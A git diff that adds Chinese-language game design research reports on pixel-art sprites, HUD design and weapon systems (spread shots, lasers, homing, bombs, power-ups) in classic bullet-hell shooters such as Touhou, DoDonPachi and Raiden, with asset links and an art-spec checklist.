**数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。 +- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如"x2.5")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式"防御性计分"靠视觉压力驱动玩法)。 +- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。 +- **分数增长可视化**:让"数字变大"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。 +- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。 + +### 4.4 血条、Bomb 数量等 HUD 设计 + +- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。 +- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示"即将切换攻击"。 +- **Bomb 图标**:用典型"B"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。 +- **残机(Lives)**:像素自机小图标排列,比数字更直观。 +- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。 +- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。 +- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。 + +--- + +## 5. 参考资源搜索汇总 + +### 5.1 itch.io 免费/付费像素弹幕素材 + +| 资源 | 内容 | 链接 | +|---|---|---| +| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite | +| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 | +| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup | +| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell | +| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell | +| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell | + +### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权) + +- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art +- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020 +- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art +- **shmup 合集页**:https://opengameart.org/content/shmup + +### 5.3 经典 STG 精灵分析与弹幕设计参考 + +- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox +- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets +- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon +- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html +- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 +- **Shmups Wiki 主站**:https://shmups.wiki +- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups +- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup +- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo + +### 5.4 像素艺术风格指南(教程/博客) + +- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design +- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2 +- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions +- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles +- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial) +- Piskel(免费在线像素编辑器):https://www.piskelapp.com + +### 5.5 建议搜索关键词(继续深挖用) + +`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解` + +--- + +## 6. 给本项目落地落实的美术规范建议(可直接执行) + +1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。 +2. **色板分工(建议)**: + - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调; + - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边; + - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白); + - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开; + - 爆炸:白→橙红黄→灰; + - 预警:蓄力时变亮/变红,激光先亮细线。 +3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。 +4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。 +5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。 +6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。 + +--- + +## 7. 信息来源与可信度说明 + +- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。 +- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上"15 个美丽弹幕"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。 +- **标注为"既有认知+"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。 +- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。 \ No newline at end of file diff --git a/website-design/exp/mock/file-weapon_research.md b/website-design/exp/mock/file-weapon_research.md new file mode 100644 index 00000000..c515f056 --- /dev/null +++ b/website-design/exp/mock/file-weapon_research.md @@ -0,0 +1,295 @@ +# 经典弹幕射击游戏(STG)武器系统调研报告 + +> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现 +> 调研日期:2026-08-23 +> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」 + +--- + +## 目录 + +1. [概述](#1-概述) +2. [玩家武器类型分类](#2-玩家武器类型分类) +3. [武器升级系统](#3-武器升级系统) +4. [像素风格表现](#4-像素风格表现) +5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单) +6. [参考资料](#6-参考资料) + +--- + +## 1. 概述 + +弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责: + +1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率; +2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支; +3. **视觉语言**:武器是玩家在屏幕上"属于自己"的元素,必须与敌弹、背景清晰区分。 + +本报告以三条经典主线为调研对象: + +- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系) +- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统) +- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力) +- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充 + +> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于"散布型弹幕"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。 + +--- + +## 2. 玩家武器类型分类 + +### 2.1 散弹(Spread Shot) + +**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 | +| 怒首领蜂 | **Shot(点按 A 键)** | 标准"spread"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 | +| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 | +| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是"散布型弹幕"最经典的视觉形态之一 | + +**设计要点**:散弹的关键是"扇面角度 + 弹丸数量 + 弹丸间距"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到"火力变强了"。 + +--- + +### 2.2 集中射击(Focus Shot) + +**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从"散开"变为"一束" | +| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把"集中"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 | +| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 | + +**设计要点**:集中射击通常与"低速/精确操控"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示"伤害集中"。 + +--- + +### 2.3 激光 / 光束武器(Laser) + +**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 | +| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) | +| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有"非指向性激光"(按住时发射贯穿激光) | + +**设计要点**: +- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分; +- 激光与"机体周围光环"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示("你现在是激光模式"); +- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。 + +--- + +### 2.4 追踪弹 / 制导武器(Homing) + +**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 | +| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 | +| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 | + +**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的"转弯/锁定"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的"引导火"。 + +--- + +### 2.5 近战 / 环绕武器(Orbit / Force / Option) + +**定义**:不(仅)发射弹丸,而是以"挂在自机上的物体"进行接触伤害、挡子弹,或跟随自机复制射击。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 | +| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) | +| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 | +| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 | + +**设计要点**:环绕武器是最能体现"火力等级"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。 + +--- + +### 2.6 蓄力射击(Charge Shot) + +**定义**:按住射击键充能,松开时释放一发大威力"蓄力弹"。蓄力时间越长威力越大,通常带穿透/范围效果。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 | +| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近"强化爆气"而非单体蓄力弹,见 3.5) | + +**设计要点**: +- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮; +- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化"这一发很重"的感觉。 + +--- + +### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击) + +**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家"资源管理"的核心。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) | +| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 | +| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 | +| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 | + +**设计要点**: +- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让"屏幕瞬间被清理"的结果可视化; +- 东方把炸弹做成"符卡"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名); +- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。 + +--- + +## 3. 武器升级系统 + +### 3.1 道具拾取升级(P 道具 / Power-Up) + +几乎所有经典 STG 都用"拾取掉落道具→火力升级"的模式,区别在道具形态与上限设计: + +| 游戏 | 道具 | 升级机制 | +|---|---|---| +| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) | +| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) | +| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 | + +**设计要点**: +- **同类拾取才升级**(雷电)制造"专注一系武器"的策略取舍; +- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以"捡回"部分火力,是容错设计; +- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。 + +### 3.2 多级别火力变化 + +- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是"逐级可读"的经典范例。 +- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。 +- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。 + +**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。 + +### 3.3 武器切换机制 + +| 游戏 | 切换方式 | 说明 | +|---|---|---| +| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示"散弹/集中"两种形态,一按即切换 | +| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是"模式选择"的鼻祖 | +| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 | +| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——"选择顺序"本身就是策略 | +| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 | + +**设计要点**: +- 武器切换要么做成"一键瞬切"(东方 Shift、怒首领蜂按住),要么做成"有成本的选择"(雷电道具、Gradius 升级条); +- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。 + +### 3.4 东方 Project 的 Power 系统 + +- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。 +- 表现载体变化:永夜抄以前"本体射出的子弹变多";风神录以后改为"增加射出的子机(Option)"——**火力可视化**。 +- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成"用资源换保命"的抉择。 +- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。 + +### 3.5 怒首领蜂的强化系统 + +1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。 +2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。 +3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时: + - 全场敌弹消除 + 短暂无敌(80/120 帧); + - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光); + - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**; + - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。 + - 这是"用强化换难度"的经典设计——高回报高风险。 + +**设计要点**:怒首领蜂证明"武器强化"可以和"游戏难度自适应(Rank)"挂钩,让强力火力本身成为平衡杠杆。 + +--- + +## 4. 像素风格表现 + +### 4.1 子弹的像素美术设计(大小、形状、颜色) + +综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**: + +- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。 +- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。 +- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。 +- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。 +- **闪烁**:两帧交替(闪白/闪亮)提升存在感与"危险感";但对比过强会让高速移动的子弹难追踪——需要在"醒目"与"可追踪"之间平衡。 +- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹"活着"。 + +### 4.2 射击特效(muzzle flash、尾迹) + +- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。 +- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现"制导"性质;激光可加**束起点光晕**与**目标命中火花**。 +- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气"快速膨胀、渐凉减速"的物理节奏是让爆炸可信的关键。 +- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。 + +### 4.3 不同武器类型的视觉区分度 + +| 武器 | 视觉语言 | 举例 | +|---|---|---| +| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 | +| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 | +| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing | +| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 | +| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 | +| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 | + +### 4.4 屏幕内大量子弹的辨识度设计 + +- **敌弹颜色编码**:用颜色区分"快弹/慢弹/装饰弹"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。 +- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——"视觉大、判定小"是弹幕公平性的核心。 +- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。 +- **弹幕"缝隙设计"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——"玩家能看见可通行路径即为公平",装饰性子弹可以用低饱和/半透明表示"无威胁"。 +- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家"读"弹幕密度。 +- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。 + +--- + +## 5. 像素 STG 武器视觉设计建议(落地清单) + +面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议: + +### A. 武器体系骨架 +1. **每种武器 = 一种"火力形态"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。 +2. **火力等级可视化**:每级变化做成"子机数量 / 弹丸数 / 散布角 / 光束宽度"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。 +3. **掉落同系升级(或 P 通用)**:可选雷电"同色道具才升级"(策略取舍)或东方"P 通用道具"(上手简单),建议新手向用后者。 +4. **炸弹做成"有名有相"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上"一键清屏"结果必须一帧可见。 +5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造"成长风险"。 + +### B. 子弹与特效像素规范 +6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。 +7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。 +8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。 +9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一"视觉 > 判定"原则。 +10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。 +11. **尾迹只给"需要读懂速度/轨迹"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。 + +### C. 屏幕可读性指标 +12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。 +13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。 +14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。 + +--- + +## 6. 参考资料 + +以下为本报告主要信息来源(按主题归类): + +1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化) +2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹) +3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页 +4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等) 